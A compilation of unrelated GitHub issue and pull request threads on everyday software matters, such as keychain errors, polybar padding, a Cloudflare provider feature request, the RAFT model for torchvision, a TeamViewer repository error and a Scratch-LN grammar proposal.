Failed to save access token: Error Domain=com.samsoffes.sskeychain Code=-34018 "errSecDefault" UserInfo=0x170678200 {NSLocalizedDescription=errSecDefault}

We've never observed this issue in the Venmo app or any other projects using VENTouchLock. I think it makes sense to check SSKeychain if a passcode is set for the current account and service. Can you suggest an alternative solution that might be better?
Though I'm speculating, you may be running into this error if you are calling isPasscodeSet before calling
setKeychainService:keychainAccount:touchIDReason:passcodeAttemptLimit:splashViewControllerClass:

Re-quoting one of the comments found in SSKeychain: https://github.com/soffes/sskeychain/issues/52

Working with the keychain is pretty sucky. You should really check for errors and failures.
This library doesn't make it any more stable, it just wraps up all of the annoying C APIs.

The error I encountered was random and probably has nothing to do with VENTouchLock's usage of SSKeychain. Thanks @dasmer for looking into it.


Broken padding on non active workspace

Hi sometimes, i got visually annoying error in padding. When i'm not focusing on certain workspace i got this

But when i'm focusing it brokes

Is it bug or feature?
Info
Fedora 25
I'm using i3-gaps 4.13 and polybar 2.4.6
My polybar config is here
https://github.com/schvabodka-man/Dotfiles/blob/master/.config/polybar/config

Looks like a bug but I see that you are using an old version of polybar, so update it and try again.

Closing due to inactivity.


feat(zui): Move external transform function to zui

Moves external dependency json-schema-to-zod into zui
Fixes build config and dependencies to avoid zod conflicts in sdk with zod version 3.22.4
Adds vitest test suite for json-schema-to-zod transform functions
⚠ Breaking changes to zui exports, the function getSchemas no longer exists, use zuiToJsonSchema instead

Found bug, x-zui not merged into childs of arrays and objects


[547] Update study mode to full time or part time to match find and publish

Context
Find and Publish changed the wording of ‘Study mode’ to ‘Full time or part time’. We should do the same on Apply and Manage to match.
Changes proposed in this pull request

Update provider interface
Update candidate interface
Update support interface

Guidance to review
Link to Trello card
https://trello.com/c/saVedFks/547-apply-and-manage-change-study-mode-to-full-time-or-part-time-to-match-find-publish
Things to check

[x] If the code removes any existing feature flags, a data migration has also been added to delete the entry from the database
[x] This code does not rely on migrations in the same Pull Request
[x] If this code includes a migration adding or changing columns, it also backfills existing records for consistency
[x] If this code adds a column to the DB, decide whether it needs to be in analytics yml file or analytics blocklist
[x] API release notes have been updated if necessary
[x] If it adds a significant user-facing change, is it documented in the CHANGELOG?
[x] Required environment variables have been updated added to the Azure KeyVault

 Apply and Manage: change 'study mode' to 'Full time or part time' to match Find/Publish

 Apply and Manage: change 'study mode' to 'Full time or part time' to match Find/Publish


Docs fixes

Hi @kellino
another (and I think the last) one with respect to https://github.com/openjournals/joss-reviews/issues/7334
These are my final suggestions for the docs. I thought a PR would not be much more work on my side (maybe even less), so here we go. I tried to make small commits to make the diffs/commit messages clearer.
There are a few places in the doc where the rendering fails because of

not enough spaces in doc strings in front of code examples (only function definitions, I think; you need four spaces to make it parse as code)
use of underscore _ in the docstrings without wrapping the word in backticks, e.g. if you write estimate_h without the backticks, the markdown parser will think the underscore should mean whatever comes next should be rendered in italics, and then it completely fails

What I did not touch but where you should have a look:
The Project.toml/Manifest.toml in docs does not include DiscreteEntropy.jl itself. So when I ran this environment to build the docs, I first had to do a
] dev ..

to dev the package in the parent directory. Then it works.
Maybe this should be documented somehow.
I did not want to commit my modified Manifest, because it also includes a different julia version (1.10.5) and I am not so sure about including the Manifest anyway.

I checked off the remaining bullet point in the "Documentation" section of my review list.

I really wasn't expecting a pull request from an editor! That is above and beyond. I would add you as a co-author if it wasn't an obvious conflict of interest :)

All fine, a PR from a reviewer is something that JOSS encourages, and it is nothing that makes me a legitimate co-author. For uncontroversial problems in the docs a PR is a good way to go, since listing out the findings is not much less work.


[spaceid] feat: spaceid strategy

Fixes # .
Changes proposed in this pull request:

@SID-Marcus Tests are failing, can take a look?

@ChaituVR Could you approval for tests again

@SID-Marcus

Fixed it  @ChaituVR


V2 fix dxf deserializer

These changes correct translation of DXF lwpolylines.
Additional changes to bring code up to coding standards for lint.
All Submissions:

[X] Have you followed the guidelines in our Contributing document?
[X] Have you checked to ensure there aren't other open Pull Requests for the same update/change?
[X] Does your submission pass tests?

@kaosat-dev please review. there are a fair amount of changes to bring the code up to standards. if you need, please see the changes in the first commit for the bug fix.


Cannot concat string with entity state

Hi,
I am trying to display either an entity state following by a string or nothing depending on another entity state. I am using this template :
[[ if(binary_sensor.monitoring_ha_updater.state == "on", sensor.monitoring_potential_breaking_changes.state "changes" ,"") ]]
On lovelace side it displays "undefined" as a result instead of "0 changes". I tried using +,++, . to concat them without success.
Thanks for helping.

There's no way to do this, and I have no interest in maintaining the old style templates when there are better alternatives.
Either put two templates after each other, or convert your plugin to use the new template functions.

I am not using it in my own plug-in just trying to use the template syntax. Could you give me more details about "better alternatives"?

If you're not using card-tools for your own plugin, I suggest you instead raise this issue with the maintainer of the plugin you are using.

The better alternative is to use jinja2 templating, which is also supported by card-tools.

If you're not using card-tools for your own plugin, I suggest you instead raise this issue with the maintainer of the plugin you are using.

As the question was regarding the support of templating which you offer with your lib and not the plugin, I thought you were the best person to help me.
In the meantime, I used the following as workarround :
 [[ if(binary_sensor.monitoring_ha_updater.state == "on",
          sensor.monitoring_potential_breaking_changes.state, "") ]] [[
          if(binary_sensor.monitoring_ha_updater.state == "on", "changement(s)
          bloquant(s)", "") ]]


Object constructor prototype should be set to Function.

Fixes ch15/15.2/15.2.3/S15.2.3_A2.js test262 test
JerryScript-DCO-1.0-Signed-off-by: Peter Gal<EMAIL_ADDRESS>

Good to me

Looks good to me.

LGTM


Email address not returned by default

Having gone through this instruction step-by-step it seems that in the user info sent back from Facebook to Azure AD B2C the email claim is missing or at least it isn't processed and subsequently returned in Azure AD B2C's application token to my application. I am wondering: Do I really need to set up a custom policy (currently in preview) to obtain a claim that is so essential and so basic or have I missed something here?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: aeb73901-3320-4d53-767c-bfd03b3b0354
Version Independent ID: 404e18f1-d6da-5654-3e68-8e888e11433e
Content: Set up sign-up and sign-in with a Facebook account using Azure Active Directory B2C
Content Source: articles/active-directory-b2c/active-directory-b2c-setup-fb-app.md
Service: active-directory
GitHub Login: @davidmu1
Microsoft Alias: davidmu

As it turns out (after some testing with Facebook Graph) Facebook isn't returning my email address. Why not is unclear to me but not a topic that needs to be discussed here.

@wpo365 thanks for the update!


Changed numpy vs to swaplist approved

Updated numpy vs to swaplist approved version

This dependency has been updated directly in a previous commit; to a more appropriate version (it's 1.14 now).


[improvement](case function) add check to avoid stack overflow

Proposed changes
Issue Number: close #xxx

add check for batch size to avoid stack overflow, some operators batch size may be exceeding 4096, so we added some tolerance to check 65536 to prevent stack overflow.
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 45.72 seconds
stream load tsv:          515 seconds loaded<PHONE_NUMBER>9 Bytes, about 138 MB/s
stream load json:         19 seconds loaded<PHONE_NUMBER> Bytes, about 118 MB/s
stream load orc:          65 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          31 seconds loaded 861443392 Bytes, about 26 MB/s
insert into select:          29.4 seconds inserted 10000000 Rows, about 340K ops/s
storage size:<PHONE_NUMBER>3 Bytes

run p0

run p0

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 44.6 seconds
stream load tsv:          507 seconds loaded<PHONE_NUMBER>9 Bytes, about 140 MB/s
stream load json:         20 seconds loaded<PHONE_NUMBER> Bytes, about 112 MB/s
stream load orc:          65 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          30 seconds loaded 861443392 Bytes, about 27 MB/s
insert into select:          29.3 seconds inserted 10000000 Rows, about 341K ops/s
storage size:<PHONE_NUMBER>7 Bytes

run buildall

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 48.97 seconds
stream load tsv:          530 seconds loaded<PHONE_NUMBER>9 Bytes, about 134 MB/s
stream load json:         20 seconds loaded<PHONE_NUMBER> Bytes, about 112 MB/s
stream load orc:          64 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          31 seconds loaded 861443392 Bytes, about 26 MB/s
insert into select:          28.9 seconds inserted 10000000 Rows, about 346K ops/s
storage size:<PHONE_NUMBER>3 Bytes


Numpy log is flodding CI output

Please reduce logging since this is going to fill up the logs.
Nu
mPy-shape semantics has been activated in your code. This is required for creating and manipulating scalar and zero-size tensors, which were not supported in MXNet before, as in the official
NumPy library. Please DO NOT manually deactivate this semantics while using `mxnet.numpy` and `mxnet.numpy_extension` modules.
 semantics while using `mxnet.numpy` and `mxnet.numpy_extension` modules.
and `mxnet.numpy_extension` modules.
NumPy-shape sem

@mxnet-label-bot add [Numpy]

Solved via #16849, closing now.


fix(deps): update gomod

This PR contains the following updates:

Package
Type
Update
Change

github.com/IBM/platform-services-go-sdk
require
patch
v0.35.0 -> v0.35.1

github.com/gruntwork-io/terratest
require
patch
v0.41.16 -> v0.41.17

Release Notes

IBM/platform-services-go-sdk
v0.35.1
Compare Source
Bug Fixes

Usage Reports: regen usage reports with latest API def (#245) (0e1ddc8)

gruntwork-io/terratest
v0.41.17
Compare Source

Modules affected

terraform

Description

Updated terraform init function to support -no-color flag

Special thanks

Special thanks to the following users for their contribution!

@arcenik

Related links

https://github.com/gruntwork-io/terratest/pull/1241

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

:tada: This PR is included in version 1.8.7 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Support creating HTTPS DNS records

Current Terraform and Cloudflare provider version
Terraform v1.2.5
on linux_amd64

provider registry.terraform.io/cloudflare/cloudflare v3.22.0

Description
The Cloudflare API supports creating DNS records of the HTTPS record type. When attempting to create a record of this type, the provider returns an error like
Error: expected type to be one of [A AAAA CAA CNAME TXT SRV LOC MX NS SPF CERT DNSKEY DS NAPTR SMIMEA SSHFP TLSA URI PTR], got HTTPS

Use cases
Ensure the Terraform provider has feature parity with the plain API
Potential Terraform configuration
resource "cloudflare_record" "www-https" {
  zone_id = var.zone_id
  name    = "example.com"
  type    = "HTTPS"
  ttl     = 3600
  data {
    priority = "1"
    target   = "."
    value    = "alpn=h2"
  }
}

References
No response

happy to review a PR for this one 👍 looks like we already have public documentation so this will be a straight forward update.


Can we add screenshots to the report for failed test cases

Now it's only saving the screenshot in a seperate folder, but i want to display them in the report. Is there a way to show the screenshots in the report?

It should be displaying in the report. Will have a look. Which report are you using?

I used html report even i tried with spark but it was not displaying.

Do u have these settings in your extent.properties? I tried it and it works for me.

screenshot.dir=test-output/
screenshot.rel.path=../

Refer to this sample implementation - https://github.com/grasshopper7/cuke6-extent-adapter-report

I updated with
screenshot.rel.path=../
But still i'm not getting it, will check with the sample implementation.

It worked but had to use below code,
ExtentCucumberAdapter.addTestStepScreenCaptureFromPath();


Add RAFT model for optical flow

Towards https://github.com/pytorch/vision/issues/4644
This PR adds the RAFT model, along with its basic building blocks (feature encoder, correlation block, update block, etc.) and two model builder function: raft_large() and raft_small().
The architecture (not the code!) is exactly the same as the original implementation from https://github.com/princeton-vl/RAFT, which will allow us support the original paper's weights if we want to. This architecture differs slightly from what is described in the paper. I have annotated the paper with these differences, hoping this can help the review:
RAFT- Recurrent All-Pairs Field Transforms forOptical Flow (1).pdf
A summary is this:

API
The RAFT class accepts torch.nn.Module instances as input and offers a low-level API.
RAFT(
        feature_encoder=feature_encoder,
        context_encoder=context_encoder,
        corr_block=corr_block,
        update_block=update_block,
        mask_predictor=mask_predictor,
    )

The model builder functions raft_large() and raft_small() are higher-level and do not require any parameter. They can however take as input the same parameters as the RAFT class, so as to override their defaults. E.g.:
model = raft_large(mask_predictor=MyOwnMaskPredictor())  # all the other building blocks will use the default architecture

The building blocks like FeatureEncoder, ResidualBlock,  UpdateBlock, etc. are (sort of publicly) available in torchvision.models.optical_flow.raft, but are not exposed in __all__.

Still left TODO, here or in follow-up PRs:

[x] Add an expect test for both raft() and raft_small()
[x] Add better docs
[ ] Add type annotations (🥲)

In follow up PRs I will also submit the training reference and associated transforms.
I will write review comments below to hightlight important bits, or things where I'm not to sure what the best way is.
cc @datumbox

Test failures are unrelated, merging. Thanks a lot for the reviews!!


Add support for editing of component settings

Fixes

https://issues.redhat.com/browse/HAC-1062

Description

Added a new edit form for editing component values.
Updated the review component card and used it in the form.

Type of change

[x] Feature

Screen shots / Gifs for design review

https://user-images.githubusercontent.com/6041994/165109143-24d8b9d0-3d84-49bd-9be7-f82c7ed52199.mov
Browser conformance:

[x] Chrome
[ ] Firefox
[ ] Safari
[ ] Edge

/uncc

@rohitkrai03 we should disable name field on component settings page

@rohitkrai03 we should disable name field on component settings page

@sahil143 Done.


Prod release 1.0.07 68

@rohan-dhamal-clarice  @aleffert
please review.

Just remove the logic to prefill the username field.  add spinner.  merged first. still need review.

Looks good.


Rule 1

Related to #4
The rule is applied recursively to Formations (not any object).
Also, we changed the format of unit test files to have a group of tests in a single Yaml file
For example, the following $\phi$-calculus input:
{ φ ↦ ⟦ φ ↦ ⟦ φ ↦ ⟦ ⟧ ⟧ ⟧ }

normalizes to this:
{ ν ↦ ⟦ Δ ⤍ 03- ⟧, φ ↦ ⟦ ν ↦ ⟦ Δ ⤍ 02- ⟧, φ ↦ ⟦ ν ↦ ⟦ Δ ⤍ 01- ⟧, φ ↦ ⟦ ν ↦ ⟦ Δ ⤍ 00- ⟧ ⟧ ⟧ ⟧ }

PR-Codex overview
Detailed summary

This PR adds new test cases for Rule 5 and Rule 1.
It also adds a new data type PhiTestGroup and modifies the allPhiTests function.
The Language.EO.Phi module now imports Language.EO.Phi.Syntax instead of Language.EO.Phi.Syntax.Abs.
The printTree function in Language.EO.Phi.Syntax.Print has been removed.
The Language.EO.Phi.Rules.Common module has been added, which includes functions for applying rules and checking for normal form.

The following files were skipped due to too many changes: eo-phi-normalizer/src/Language/EO/Phi/Rules/Common.hs, eo-phi-normalizer/src/Language/EO/Phi/Normalize.hs, eo-phi-normalizer/src/Language/EO/Phi/Syntax.hs

✨ Ask PR-Codex anything about this PR by commenting with /codex {your question}

Pls, rebase on master as https://github.com/objectionary/normalizer/pull/7 is merged

The latest changes introduce a simple nondeterministic rewriting for any given rule set (encoded in Haskell) and rule 6 as example.


network - finish renaming AUTH to AUTHORITY

An example use case of this is a Player node with each player set as the network authority. If the server wants to make an authorized call on the players, they now have an RPC mode for it.

I honestly don't think we need a SERVER rpc mode. What you mention can be achieved with the following tree:
- Level
  - Player1 (auth: player1_id)
    - MessageBus (auth: 1)
  - Player2 (auth: player2_id)
    - MessageBus (auth: 1)

Having the "SERVER" RPC to MessageBus.
Or probably better swapped (i.e. message bus with auth: player_id and player auth: 1) so that the server can retain more control over the players.

Should we move the RPC_MODE_AUTHORITY rename to a different pr?

Yeah, I think we should.

I'm probably going to move it to a proposal first. This pr will be for the rename

Thanks!


add constbuffer_array_create_from_start_and_end

/azp run

CONSTBUFFER_ARRAY_HANDLE real_constbuffer_array_create_from_buffer_index_and_count(CONSTBUFFER_ARRAY_HANDLE original, uint32_t start_buffer_index, uint32_t buffer_count);

missing new function

Refers to: tests/reals/real_constbuffer_array.h:43 in 77712d7. [](commit_id = 77712d745114bf1cce8a5db1ce37743de001bfd7, deletion_comment = False)

CONSTBUFFER_ARRAY_HANDLE real_constbuffer_array_create_from_buffer_index_and_count(CONSTBUFFER_ARRAY_HANDLE original, uint32_t start_buffer_index, uint32_t buffer_count);

added

In reply to:<PHONE_NUMBER>

Refers to: tests/reals/real_constbuffer_array.h:43 in 77712d7. [](commit_id = 77712d745114bf1cce8a5db1ce37743de001bfd7, deletion_comment = False)

/azp run

/azp run

/azp run


Deno version checks

Feature Request
It would nice to have some checks on which Deno version should be used in order for CAPI to work;
Suggestion
~ deno
Deno 1.27.1

~ deno task run ./examples/balance.ts
Task run deno task capi -- deno run -A -r=http://localhost:4646/ "./examples/balance.ts"
Task capi deno run -A main.ts "--" "deno" "run" "-A" "-r=http://localhost:4646/" "./examples/balance.ts"
error: Unstable use of npm specifiers. The --unstable flag must be provided.

Additional message proposal:
Use deno 1.xxx for better compatibility with CAPI

or
CAPI supports deno versions >= 1.xxx

Motivation
Trying to run examples with CAPI repo - resulted to the error above - once upgraded to latest version, error disappeared
Use Cases

There's not really a way for us to detect us as this is an error from Deno during the caching phase, before any of our code is run.

There's not really a way for us to detect this as this is an error from Deno during the caching phase, before any of our code is run.

Feature says - that it would be nice to provide a minimum version, that devs are testing and knows it works.
I am pretty sure that a check can take place - in order to identify if one runs an older version than recommended;

The minimum version supported is the latest v1.x – but it could be worthwhile to document that somewhere.

No it is not. As this "feature" mentions, deno 1.27.1 would not actually work; Look at Motivation;
I am not sure why there is a rush to close issues/features/bugs before understanding the reason why they were opened. It is a bit frustrating to me; I cannot understand the rush and the short-responses that provide no value

Sorry, I meant latest v1.x in an evergreen sense – i.e. 1.32.1 is supported but not 1.27.1. This is fairly common for Deno projects (since Deno is still on major version 1, there haven't been any breaking changes).
I originally closed the issue because the proposed feature – checking the Deno version in the CLI – was infeasible. But since the issue is applicable in the broader context of documenting what versions of Deno we support / considering what versions of Deno we plan to support down the line, it would be good to have an issue. I'll reopen this issue so we'll be sure to follow up.

I've opened #1154 about documenting our Deno version requirement, so I'm going to close this issue.

Would it be possible/reasonable for the deno task capi script to check the demo version?

In the case mentioned in this issue, it wouldn't be possible, as it was an error during the caching phase, before our code even ran.
We also don't currently have a fixed supported version of Deno – we only support the latest 1.x version of Deno, so there wouldn't be something fixed to check against.


Project feedback review

I am really impressed by your documentation. Documentation plays very important role to understand any application.
I tried running project by following the steps mentioned in the document. Its running fine.
Thanks,
Team Viyad

Thanks @renuka-srishti - Glad to hear this!
We're always looking to improve.
Feel free to raise a feature-request or bug-report if you find something that could be improved.


Language selection: Mobile version

Currently the option to change language is not visible in the header on mobile.
We need to find a way to display this while the header looks good.

[x] Create the language selection component if its not already made.
[ ] Add it to the mobile version of the figma design.

What we need to figure out here is where to place the globe on mobile.
Should it be inside the hamburger menu or next to it?

Language selection menu has been added to components in Figma.
Text showing "Select a Language" can be changed to a globe instead.
I have not added this to the mobile version in Figma since there hasn't been made a mobile navigation yet.

I will move this back to in progress as the mobile version of the navbar is currently being worked on. as its not finished yet.
No development can be made  on the mobile version of the site until these 2 tasks are complete.

Added to mobile version in Figma Oct 10th.


perf: speed up gossip node tests

Motivation
Speed up node tests locally from 22s -> 6s by eliminating unnecessary waits and re-initializations.
Change Summary

Two tests were combined to eliminate unnecessary double initialization
Sleep times were reduced from 5s to 1s since the network formed quickly
forEach was replaced with map where iteration was not necessary

Merge Checklist

[x] The title of this PR adheres to the conventional commits standard
[x] The PR has been tagged with the appropriate change type label(s) (i.e. documentation, feature, bugfix, or chore)

@sagar-a16z fyi, merging for now let me know if any of these changes are dangerous / likely to lead to other bugs

Changes look good. Thank you. These tests need to be rewritten in the flatbuffers world 😊


No Selected Indicator on Default

When xq-select loads without a distinct option selected, it does not show an indicator for the option that does get selected (which would be the first option by default).

This was fixed by ae18af0, which changed the method in which the selected option was discovered.


Grid Footer

Is there any way of adding a footer for totals?

Nothing built in, you would have to add them by hand.
I think it's possible to add them, I will just have to think of a way to do it for next release.

Thanks, much appreciated. By the way lowing your grids compared to the others I have used. Keep up the good work.

Hi guys, this is what I did to add a footer with totals:

Changed Grid.cshtml adding following code where the footer should be displayed

if (ViewBag.SumirizePartialView != null)
{
	@Html.Partial((string)ViewBag.SumirizePartialView, Model.Rows)
}

Add a new partial view with the footer view as following:
`
@model IGridRows
@using NonFactors.Mvc.Grid;

Subtotales
@Model.Sum(c => c.Model.Amount).ToString("C")

`
- Finaly in the view where the grid will be displayed you will have to add the viewbag property:
`
@{
	ViewBag.SumirizePartialView = "ExpenseGridSumarize";
}
`
This example will only sum the visible rows.
@Muchiachio It will cool if you can add a new argument called FooterView to Html.Grid in order to display that footer if not null or empty.
Hope this help!

@guidozanon I was thinking of making an aggregate method for each column, like
columns.Add(model => model.Amount).Aggregate(~Sum~);

But your solution is actually better, because mine wouldn't allow to add footer row text like
Subtotales	, which will most likely be needed.

Hi @Muchiachio,
Any thoughts as to when the next release will be? Not sure if I should just pull the project from here to build and test or wait for your new release.

It will take at least few weeks or even a month before I push all the breaking changes.
So we are looking at mid-late June.

@Muchiachio That makes sense, thanks for the quick response.

Is there any workaround to @guidozanon solution when using paging?

Paging should work with that @tareq2.

The aggregate is just for the current page but i want it for all the data ,I think the problem is from Model.Rows which  contains just the current page .

You can aggregate on Grid.Source which is the initial data source you specified.

Still i need the filters

What do you mean you need filters?

You will have to run this somewhere then
IQueryable<T> items = Grid.Source;
    foreach (IGridProcessor<T> processor in Grid.Processors.Where(proc => proc.ProcessorType == GridProcessorType.Pre))
        items = processor.Process(items);

Thank you i have put the code in the partial view .

Search for footer in the examples. But the documentation is wrong.
Instead of:
.UsingFooter("_GridFooter")
It's
.WithFooter("_GridFooter")


Master try w res and more

Each commit in this PR comprise one kind of cleanup/change:

Use try-with-resources.
Use diamonds.
Add missing @override.
Make better use of Map APIs.
Remove redundant modifiers. …
Use Collections.addAll() API instead of loops.
Remote extra semicolons (;).

You have removed static on some elements. Why?

Because they are completely redundant. Please see the commit comment for that specific commit.

You have removed static on some elements. Why?

Because they are completely redundant. Please see the commit comment for that specific commit.

So the strings in an interface are static final by default?

All variables defined in an interface are "public static final".

You have removed static on some elements. Why?

Because they are completely redundant. Please see the commit comment for that specific commit.

So the strings in an interface are static final by default?

It would not be much of a contract otherwise! ;-)
The JLS say that members in an interface are implicitly public, static, and final.


Package cannot be downloaded through yum repository because of http error 403

On Fedora 35 yum repository was successfully added but on yum install step it fails with (yaml formatted):
  failures:
  - No package teamviewer available.
  item:
    name: teamviewer
    state: latest
  msg: Failed to install some of the specified packages

Manual attempt to install (sudo dnf install teamviewer) reports:
Errors during downloading metadata for repository 'teamviewer':
  - Status code: 403 for https://linux.teamviewer.com/yum/preview/main/binary-x86_64/repodata/repomd.xml (IP: <IP_ADDRESS>)
Error: Failed to download metadata for repo 'teamviewer': Cannot download repomd.xml: Cannot download repodata/repomd.xml: All mirrors were tried

According to documentation https://community.teamviewer.com/English/kb/articles/30666-update-teamviewer-on-linux-via-repository a yum repository is added after an installation. On a separate machine a teamviewer repo file was created with:
baseurl=https://linux.teamviewer.com/yum/stable/main/binary-$basearch/

I'm not sure if preview might still work but stable seem to work now.

The line from stable change into preview introduced by https://github.com/alvistack/ansible-role-teamviewer/commit/dd4724a80c82cbd2cdf457de80163913f6ee4bdd, due to https://community.teamviewer.com/English/discussion/122410/teamviewer-support-on-wayland-experimental-state-🧪.
Since I am now using Ubuntu 22.04 Desktop daily with default XWayland, I am looking for preview release with incoming connection support. BTW, it looks like teamviewer repo pattern not such predictable.
Anyway, let's rollback it as default stable channel, and so we could simply run teamviewer repo preview to op-in preview channel manually ;-)


vendor: update syndtr/gocapability

This commit adds the ability to run containerd with new capabilities
available in the linux kernel:

CAP_PERFMON
CAP_BPF
CAP_CHECKPOINT_RESTORE

Signed-off-by: André Martins<EMAIL_ADDRESS>

CRI test is failing on Fedora CI

failed to start container: rpc error: code = Unknown desc = failed to create containerd task: OCI runtime create failed: container_linux.go:370: starting container process caused: unknown capability "CAP_PERFMON": unknown

CRI test is failing on Fedora CI

failed to start container: rpc error: code = Unknown desc = failed to create containerd task: OCI runtime create failed: container_linux.go:370: starting container process caused: unknown capability "CAP_PERFMON": unknown

CRI test is failing on Fedora CI

failed to start container: rpc error: code = Unknown desc = failed to create containerd task: OCI runtime create failed: container_linux.go:370: starting container process caused: unknown capability "CAP_PERFMON": unknown

I've also updated runc to the commit where the capabilities where introduced, let's see if the CI will be happy with these.

CRI test is failing on Fedora CI

failed to start container: rpc error: code = Unknown desc = failed to create containerd task: OCI runtime create failed: container_linux.go:370: starting container process caused: unknown capability "CAP_PERFMON": unknown

I've also updated runc to the commit where the capabilities where introduced, let's see if the CI will be happy with these.

The vendoring check in CI seems to have come up with a different go.sum than you committed.

The vendoring check in CI seems to have come up with a different go.sum than you committed.

The vendoring check in CI seems to have come up with a different go.sum than you committed.

I forgot to do go mod tidy, should be good now.

The vendoring check in CI seems to have come up with a different go.sum than you committed.

I forgot to do go mod tidy, should be good now.

Included in https://github.com/containerd/containerd/pull/4717


Add Code of Conduct to the website

This PR adds the code of conduct and associates @ClaireWyatt and @MarionBWeinzierl with the Code of Conduct team.
Please review the following pages:

the front page, where the CoC appears in the sidebar and the footer
the CoC page
the report page

closes #93, closes #103

Doesn't seem to address 103? Chris Cave-Ayland as a CoC team member also.

My apologies @ClaireWyatt. Chris @cc-a is now also a part of the CoC team
see https://201-267395254-gh.circle-artifacts.com/0/SORSE20/code-of-conduct/index.html
and https://201-267395254-gh.circle-artifacts.com/0/SORSE20/code-of-conduct/report.html
otherwise everything from #103 should be covered, right?

I've also added a h1 header, as I think this makes it easier for people to figure out where they are on the page. I haven't checked across the site, but I think this should be on every page.

I haven't checked across the site, but I think this should be on every page.

@sdruskat: The h1 header is inserted with the title from the front matter
---
tite: Code of Conduct
permalink: /code-of-conduct/
sidebar:
  nav: coc
toc: true
toc_sticky: true
---

So there is no need to add it manually. Now you have it twice (see https://202-267395254-gh.circle-artifacts.com/0/SORSE20/code-of-conduct/index.html and the screenshot below)

Kirsty Pringle would like to also be on the CoC team so please could you add her and her email address<EMAIL_ADDRESS>

Ah, it wasn't inserted in the Circle artifact before:

hmm, no idea what's going on here. I'll have a look @sdruskat

there was a typo @sdruskat, solved with  https://github.com/RSE-leaders/SORSE20/pull/113/commits/1d2f2b473a1cf119efd61a2ceb30cf1d358503bc

Kirsty Pringle would like to also be on the CoC team so please could you add her

done @ClaireWyatt, see https://206-267395254-gh.circle-artifacts.com/0/SORSE20/code-of-conduct/index.html


major grammar updates

Design principles
A new version of the Scratch-LN grammar should follow these design principles:

the grammar can only make a distinction between certain block shapes

stack blocks (surrounded by optional square brackets; see later that we no longer need the square brackets for options) (no distinction made between blocks with two connectors, hat blocks, cap blocks and C-blocks; this is deferred to the visitor)
reporter blocks (surrounded by round brackets)
boolean blocks (surrounded by angle brackets)

the grammar uses a modifier to make a distinction between

atomic reporter blocks (default)
list reporter blocks (modifier required)

the grammar can only make a distinction between certain literal types

text (surrounded by single or double quotes and optional curly braces; selected options should be treated as text, which frees the use of square brackets for other use)
numbers (surrounded by curly braces)
colors (starts with a hash and optionally surrounded by curly braces)

the grammar makes a distinction between

block delimiters (separate connected blocks)
stack delimiters (separate distinct stacks: both top-level stacks and substacks)

the grammar makes a distinction between top-level stacks and substacks

a top-level stack can either be a standalone reporter block, a standalone boolean block or a sequence of connected stack blocks (this is what the grammar calls a stack)
a substack can only be a sequence of connected stack blocks

the grammar can only assume that

all blocks may have arguments (surrounded by curly braces; either make them mandatory or recognize parts-of-tags as specific literal types; the latter requires escaping more characters that are used to recognize literals, otherwise only the curly braces need escaping)
all stack blocks may have two connectors (reporter blocks and boolean blocks have no connectors; they are always standalone)
all stack blocks may have substacks that are only composed of stack blocks (this is supported using Python-style indentation)

grammar uses Python-style indentation to reflect the shape of C-blocks; this would remove the end keyword that is not visible on the Scratch blocks anyway and would allow the grammar to recognize substacks
visitor uses block specification from Scratch Extensions to

make a distinction between built-in blocks (stack blocks, reporter blocks and boolean blocks) and user-defined blocks; warnings should be issued when certain block shapes can only be built-in (no user-defined reporter blocks or boolean blocks for now in Scratch 3.0)
check restrictions on arguments of built-in blocks; in that respect the grammar should not recognize options but treat them as strings with the visitor checking if a selected is valid; a warning should be issued if arguments are invalid (wrong type for literals, wrong shape for blocks)
make a distinction between different shapes of stack blocks (cap blocks and hat blocks that only have one connector); a warning should be issued if a hat block is not on top of a stack or if a cap block does not close a stack (as a recovery, these blocks could start a new stack, but may be problematic for substacks)
check which built-in blocks can have substacks; having the C-style blocks supported by indentation and the checking being done in the visitor would actually make the grammar keyword-free; issue a warning if a stack block does not support substacks (only built-in blocks may have substacks); this would drop all C-blocks from the grammar and allow the visitor to recognize them dynamically based on the extensions that have been loaded and the language selected for Scratch-LN

Advantages

cleaner grammar
better support of built-in blocks by the use of Scratch Extensions standard for built-in block specification; actually Scratch 3.0 should itself use the Scratch Extensions standard as a specification of the built-in blocks, which would allow Scratch-LN to guarantee that all built-in blocks are supported
more informative warnings issued by visitor
support for Scratch Extensions
localization of Scratch-LN

Other ideas

make block delimiters optional between stack blocks that are surrounded by square brackets to support both horizontal and vertical blocks layouts

horizontal layout[block][block]...[block]  // first stack

[block][block]...[block]  // second stack

alternative indentation
block
| block
| block
block
block
| block
| block
block

alternative vertical stacking
--------------------
hat
---___--------------
connector
---___--------------
connector
---___--------------
connector
---___--------------
cap
--------------------


test(ogmios): mock ogmios in util test

Context
Re-enable ogmios util tests to assert only the logic of the util itself
Proposed Solution
Important Changes Introduced

Unit tests are failing due to this PR not being merged yet.


Correct documentation of EventPosition.FromOffset

In #6986 we changed the semantics of EventPosition.FromOffset to
return an exclusive instead of inclusive offset. However, we missed
updating the documentation for the method to match the new semantics.
This corrects that issue.

The wording here is a little clunky, but it matches EventPosition.FromSequenceNumber.  Happy to make additional changes if others have better phrasing.


GSSoC'24: Clone of tiktok's hand gesture filter

Is your feature request related to a problem? Please describe.
I would like to add a clone of tiktok filter which uses hand gesture to recognize it, and take the image of the frame.
Describe the solution you'd like.
